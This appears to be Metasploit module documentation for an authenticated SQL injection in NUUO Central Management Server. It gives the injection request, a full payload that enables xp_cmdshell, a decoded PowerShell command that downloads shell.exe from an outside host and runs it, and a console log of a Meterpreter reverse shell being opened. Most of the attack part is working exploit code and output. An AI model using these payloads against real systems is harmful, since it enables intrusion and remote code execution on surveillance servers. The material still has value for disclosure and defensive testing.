## Description

Nuuo CMS Authenticated SQL injection

The GETOPENALARM verb is used to obtain information about alarms stored in the CMS Server database. An example request is below:

```
GETOPENALARM NUCM/1.0
DeviceID: <number>
SourceServer: <server-id>
LastOne: <number>
```

The vulnerability is in the "SourceServer" parameter, which allows injection of arbitrary SQL characters, and can be abused to inject SQL into the executing statement. For example the following request:

```
GETOPENALARM NUCM/1.0
DeviceID: 1
SourceServer: ';drop table bobby;-- 
LastOne: 3
```

Will cause the following SQL query to be executed on the server:
SELECT AlarmNo, EventType, DeviceID, Channel, EventDesc, DateTime, PreviewImage, SourceServer, AlarmID, State, Priority, Owner, HistoryNo, PosTransaction, AlarmNote, AlarmType FROM AlarmLog WHERE DeviceID=1 AND SourceServer='';drop table bobby;-- ' AND State<20 order by DateTime DESC

Given that SQL Server 2005 Express is used by default (see vulnerability #2), this can be abused to enable xp_cmdshell and achieve remote code execution.

As as example, here is a full working exploit that downloads a reverse shell from http://10.0.99.102/shell.exe and executes it:

```
';exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; declare @q varchar(8000); select @ ; exec (@q);-- 
```

The encoded part of the exploit is the following:

```
xp_cmdshell 'cd C:\windows\temp\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "http://10.0.99.102/shell.exe" >> wget.ps1 && echo $file = "shell.exe" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 && cmd /c C:\windows\temp\shell.exe'
```

## Vulnerable Application

[NUUO Central Management Server (CMS): all versions below 3.1](http://d1.nuuo.com/NUUO/CMS/)

The following versions were tested:

 - 1.5.2 OK
 - 2.1.0 OK
 - 2.3.2 OK
 - 2.4.0 OK
 - 2.6.0 OK
 - 2.9.0 OK
 - 2.10.0 OK

## Scenarios

### Tested on Windows 10 Pro x64 running NCS Server 2.4.0

```
msf5 exploit(windows/nuuo/nuuo_cms_sqli) > set rhosts 172.22.222.200
rhosts => 172.22.222.200
msf5 exploit(windows/nuuo/nuuo_cms_sqli) > set srvhost 172.22.222.136
srvhost => 172.22.222.136
msf5 exploit(windows/nuuo/nuuo_cms_sqli) > exploit

[*] Started reverse TCP handler on 172.22.222.136:4444 
[*] 172.22.222.200:5180 - Starting up our web service on http://172.22.222.136:8080/YxAxhLwOUeKzH ...
[*] 172.22.222.200:5180 - Using URL: http://172.22.222.136:8080/YxAxhLwOUeKzH
[*] 172.22.222.200:5180 - Enabling xp_cmdshell and asking CMS to download and execute http://172.22.222.136:8080/YxAxhLwOUeKzH
[*] 172.22.222.200:5180 - Injecting PowerShell payload
[+] 172.22.222.200:5180 - Sending the payload to CMS...
[*] 172.22.222.200:5180 - Executing shell...
[*] Sending stage (179779 bytes) to 172.22.222.200
[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.200:49681) at 2019-02-19 06:15:35 -0600
[*] 172.22.222.200:5180 - Server stopped.

meterpreter > getuid
Server username: NT Service\MSSQLSERVER
meterpreter > sysinfo
Computer        : DESKTOP-IPOGIJR
OS              : Windows 10 (Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >
```

## References

https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02

https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
